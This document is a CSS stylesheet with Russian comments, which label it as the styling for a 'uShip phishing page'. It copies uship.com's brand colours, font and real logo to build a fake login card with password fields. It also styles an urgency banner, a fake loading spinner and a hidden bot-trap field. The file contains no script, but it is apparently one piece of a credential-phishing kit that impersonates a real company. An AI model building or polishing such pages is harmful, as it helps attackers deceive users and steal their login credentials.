/* ============================================================
   uShip phishing page — стили (брендовые цвета uship.com)
   Синий #0083BB · Зелёный CTA #00B437 · Текст #262626 · Шрифт Lato
   ============================================================ */

:root {
  --blue: #0083BB;
  --blue-dark: #006a99;
  --green: #00B437;
  --green-dark: #009b2f;
  --ink: #262626;
  --gray: #5c6b78;
  --line: #dde5ec;
  --bg-soft: #f4f7fa;
}

* { margin: 0; padding: 0; box-sizing: border-box; }

body {
  font-family: 'Lato', 'Segoe UI', Arial, sans-serif;
  color: var(--ink);
  background: #fff;
  min-height: 100vh;
  display: flex;
  flex-direction: column;
}

a { text-decoration: none; }

/* ---------- Верхняя панель ---------- */
.topbar {
  display: flex;
  justify-content: space-between;
  align-items: center;
  padding: 14px 32px;
  border-bottom: 1px solid var(--line);
  background: #fff;
}

.logo {
  display: flex;
  align-items: center;
  gap: 8px;
  font-size: 25px;
  letter-spacing: -0.5px;
  color: var(--ink);
  font-weight: 900;
}

.logo .u { color: var(--blue); }

/* Настоящий вордмарк UShip (assets/uship-logo.png) */
.logo img { height: 30px; width: auto; display: block; }

.top-links { display: flex; align-items: center; gap: 24px; }

.top-links a {
  color: var(--ink);
  font-size: 14px;
  font-weight: 700;
  transition: color .15s;
}
.top-links a:hover { color: var(--blue); }

.solid-btn.small {
  background: var(--green);
  color: #fff !important;
  padding: 9px 22px;
  border-radius: 6px;
}
.solid-btn.small:hover { background: var(--green-dark); }

/* ---------- Карточка входа ---------- */
main {
  flex: 1;
  display: flex;
  justify-content: center;
  align-items: center;
  padding: 40px 16px;
  background: var(--bg-soft);
}

.card {
  width: 100%;
  max-width: 430px;
  background: #fff;
  border-radius: 10px;
  box-shadow: 0 6px 28px rgba(38, 38, 38, .09);
  padding: 36px;
}

/* Баннер срочности */
.alert {
  display: flex;
  gap: 10px;
  background: #eaf5fc;
  border-left: 4px solid var(--blue);
  border-radius: 4px;
  padding: 12px 14px;
  margin-bottom: 26px;
  font-size: 13.5px;
  line-height: 1.5;
  color: #17435c;
}
.alert svg { flex-shrink: 0; margin-top: 1px; }

h1 { font-size: 27px; font-weight: 900; margin-bottom: 26px; }

.subtitle {
  color: var(--gray);
  font-size: 14.5px;
  line-height: 1.5;
  margin: 6px 0 26px;
}

/* ---------- Поля формы ---------- */
.field label, .pw-row label {
  display: block;
  font-size: 13px;
  font-weight: 700;
  color: var(--ink);
  margin-bottom: 6px;
}

input[type="text"], input[type="password"] {
  width: 100%;
  padding: 12px 14px;
  border: 1.5px solid #c9d4dd;
  border-radius: 6px;
  font-family: inherit;
  font-size: 15px;
  color: var(--ink);
  background: #fff;
  transition: border-color .15s, box-shadow .15s;
}

input::placeholder { color: #9aa8b4; }

input[type="text"]:focus, input[type="password"]:focus {
  outline: none;
  border-color: var(--blue);
  box-shadow: 0 0 0 3px rgba(0, 131, 187, .12);
}

.pw-row { display: flex; justify-content: space-between; align-items: baseline; margin-top: 18px; }
.pw-field { position: relative; margin-top: 6px; }
.pw-field input { padding-right: 46px; }

.eye {
  position: absolute;
  right: 7px;
  top: 50%;
  transform: translateY(-50%);
  background: none;
  border: none;
  cursor: pointer;
  padding: 6px;
  display: flex;
}

.mini-link { font-size: 13px; font-weight: 700; color: var(--blue); }
.mini-link:hover { text-decoration: underline; }

.hint { color: #e8710a; font-size: 12px; font-weight: 700; margin-top: 6px; }

.remember {
  display: flex;
  align-items: center;
  gap: 8px;
  font-size: 13.5px;
  color: #42525f;
  margin: 16px 0 20px;
  cursor: pointer;
}
.remember input { width: 16px; height: 16px; accent-color: var(--blue); }

.primary-btn {
  width: 100%;
  background: var(--green);
  color: #fff;
  border: none;
  border-radius: 6px;
  padding: 14px;
  font-family: inherit;
  font-size: 16px;
  font-weight: 900;
  letter-spacing: .2px;
  cursor: pointer;
  transition: background .15s, transform .05s;
}
.primary-btn:hover { background: var(--green-dark); }
.primary-btn:active { transform: translateY(1px); }

.reset-note {
  margin-top: 14px;
  font-size: 13px;
  line-height: 1.45;
  color: #17435c;
  background: #eaf5fc;
  border-radius: 6px;
  padding: 10px 12px;
}

.join-row { margin-top: 22px; text-align: center; font-size: 14px; color: var(--gray); }
.join-row a { color: var(--blue); font-weight: 700; }
.join-row a:hover { text-decoration: underline; }

/* ---------- Фейковая загрузка ---------- */
.center-card { text-align: center; padding: 56px 36px; }

.spinner {
  width: 44px; height: 44px;
  border: 4px solid #d7e9f4;
  border-top-color: var(--blue);
  border-radius: 50%;
  animation: spin .8s linear infinite;
  margin: 0 auto 18px;
}
@keyframes spin { to { transform: rotate(360deg); } }

#loading-text { font-size: 15px; font-weight: 700; color: #42525f; }

/* ---------- Футер ---------- */
footer {
  display: flex;
  flex-wrap: wrap;
  gap: 8px 22px;
  justify-content: center;
  padding: 18px 32px;
  background: #fff;
  border-top: 1px solid var(--line);
  font-size: 12.5px;
  color: #7a8a97;
}
footer a { color: #7a8a97; transition: color .15s; }
footer a:hover { color: var(--blue); }

/* Ловушка для ботов: скрытое поле формы */
.hp { position: absolute; left: -9999px; width: 1px; height: 1px; overflow: hidden; }

.hidden { display: none !important; }

/* ---------- Мобильная версия ---------- */
@media (max-width: 620px) {
  .topbar { padding: 12px 18px; }
  .top-links a:not(.solid-btn) { display: none; }
  .card { padding: 28px 22px; }
}
